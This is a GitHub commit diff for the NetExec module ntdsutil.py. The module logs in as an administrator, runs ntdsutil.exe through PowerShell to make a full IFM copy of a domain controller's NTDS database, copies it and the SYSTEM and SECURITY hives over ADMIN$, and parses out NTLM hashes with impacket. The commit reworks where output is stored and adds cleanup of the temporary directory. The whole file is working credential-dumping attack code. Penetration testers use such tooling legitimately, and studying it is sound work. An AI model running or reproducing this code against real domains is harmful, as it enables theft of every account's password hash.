Skip to content

Commit e18e69e

Browse files
committed
Update ntdsutil.py
1 parent 137f70a commit e18e69e

1 file changed

Lines changed: 24 additions & 81 deletions

File tree

nxc/modules/ntdsutil.py

Lines changed: 24 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
import os
2-
import socket
2+
import shutil
3+
import tempfile
34
import time
4-
import subprocess
5-
65
from nxc.paths import NXC_PATH
6+
77
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
88

99
from nxc.helpers.logger import highlight
@@ -14,6 +14,7 @@ class NXCModule:
1414
"""
1515
Dump NTDS with ntdsutil
1616
Module by @zblurx
17+
1718
"""
1819

1920
name = "ntdsutil"
@@ -27,42 +28,20 @@ def options(self, context, module_options):
2728
Dump NTDS with ntdsutil
2829
Module by @zblurx
2930
30-
DIR_RESULT Local dir to write ntds dump.
31+
DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing
3132
"""
3233
self.share = "ADMIN$"
3334
self.tmp_dir = "C:\\Windows\\Temp\\"
3435
self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1]
3536
self.dump_location = str(time.time())[:9]
37+
self.dir_result = self.dir_result = tempfile.mkdtemp()
3638
self.no_delete = False
37-
self.user_specified_dir = "DIR_RESULT" in module_options
3839

39-
if self.user_specified_dir:
40+
if "DIR_RESULT" in module_options:
4041
self.dir_result = os.path.abspath(module_options["DIR_RESULT"])
4142
self.no_delete = True
42-
else:
43-
self.dir_result = None
44-
self.no_delete = True
4543

4644
def on_admin_login(self, context, connection):
47-
def get_hostname(connection):
48-
# try smb nb server name first
49-
try:
50-
if hasattr(connection, "conn") and hasattr(connection.conn, "getServerName"):
51-
return connection.conn.getServerName()
52-
except Exception:
53-
pass
54-
# fallback to reverse dns
55-
try:
56-
return socket.gethostbyaddr(connection.host)[0]
57-
except Exception:
58-
return "unknown_host"
59-
60-
ip = "unknown_ip"
61-
hostname = "unknown_host"
62-
if hasattr(connection, "host") and connection.host:
63-
ip = connection.host
64-
hostname = get_hostname(connection)
65-
6645
command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\""
6746
context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}")
6847
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
@@ -75,19 +54,9 @@ def get_hostname(connection):
7554
context.log.fail("Error while dumping NTDS")
7655
return
7756

78-
# use hostname and ip in log paths
79-
dir_result_with_host = os.path.join(NXC_PATH, "logs", "ntds", f"ntdsutil_{hostname}_{ip}_{time.strftime('%Y-%m-%d_%H-%M-%S')}")
80-
81-
if not self.user_specified_dir:
82-
self.dir_result = dir_result_with_host
83-
os.makedirs(self.dir_result, exist_ok=True)
84-
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
85-
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
86-
else:
87-
# if user specified dir_result, create dirs here if needed
88-
os.makedirs(self.dir_result, exist_ok=True)
89-
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
90-
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
57+
os.makedirs(self.dir_result, exist_ok=True)
58+
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
59+
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
9160

9261
context.log.display(f"Copying NTDS dump to {self.dir_result}")
9362

@@ -174,6 +143,15 @@ def add_ntds_hash(ntds_hash, host_id):
174143
add_ntds_hash.ntds_hashes = 0
175144
add_ntds_hash.added_to_db = 0
176145

146+
if not connection.output_filename:
147+
timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
148+
hostname = connection.hostname
149+
ip = connection.host
150+
filename = f"{hostname}_{ip}_{timestamp}.ntds"
151+
output_dir = os.path.join(NXC_PATH, "logs", "ntds")
152+
os.makedirs(output_dir, exist_ok=True)
153+
connection.output_filename = os.path.join(output_dir, filename).rstrip(".ntds")
154+
177155
NTDS = NTDSHashes(
178156
f"{self.dir_result}/Active Directory/ntds.dit",
179157
boot_key,
@@ -195,51 +173,16 @@ def add_ntds_hash(ntds_hash, host_id):
195173
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
196174
NTDS.dump()
197175
context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
176+
177+
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
178+
context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1")
198179
except Exception as e:
199180
context.log.fail(e)
200181

201182
NTDS.finish()
202183

203-
if self.user_specified_dir:
184+
if self.no_delete:
204185
context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:")
205186
context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL")
206187
else:
207-
base_dir = os.path.join(os.environ["HOME"], ".nxc", "logs", "ntds")
208-
209-
system_path = os.path.join(self.dir_result, "registry", "SYSTEM")
210-
security_path = os.path.join(self.dir_result, "registry", "SECURITY")
211-
ntds_path = os.path.join(self.dir_result, "Active Directory", "ntds.dit")
212-
213-
timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
214-
output_file = os.path.join(base_dir, f"{hostname}_{ip}_{timestamp}.ntds")
215-
216-
command = [
217-
"impacket-secretsdump",
218-
"-system",
219-
system_path,
220-
"-security",
221-
security_path,
222-
"-ntds",
223-
ntds_path,
224-
"local",
225-
"-just-dc-ntlm",
226-
"-user-status",
227-
]
228-
229-
context.log.display(f"Running impacket-secretsdump, output will be saved to {output_file}")
230-
with open(output_file, "w") as outfile:
231-
subprocess.run(command, stdout=outfile, stderr=subprocess.STDOUT)
232-
233-
# clean impacket-secretsdump output: remove first 7 lines and last line
234-
with open(output_file) as f:
235-
lines = f.readlines()
236-
237-
if len(lines) > 8:
238-
cleaned_lines = lines[7:-1]
239-
with open(output_file, "w") as f:
240-
f.writelines(cleaned_lines)
241-
242-
context.log.success(f"impacket-secretsdump output saved to {output_file}")
243-
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
244-
context.log.display(f"grep -iv disabled {output_file} | cut -d ':' -f1")
245-
188+
shutil.rmtree(self.dir_result)

0 commit comments

Comments
 (0)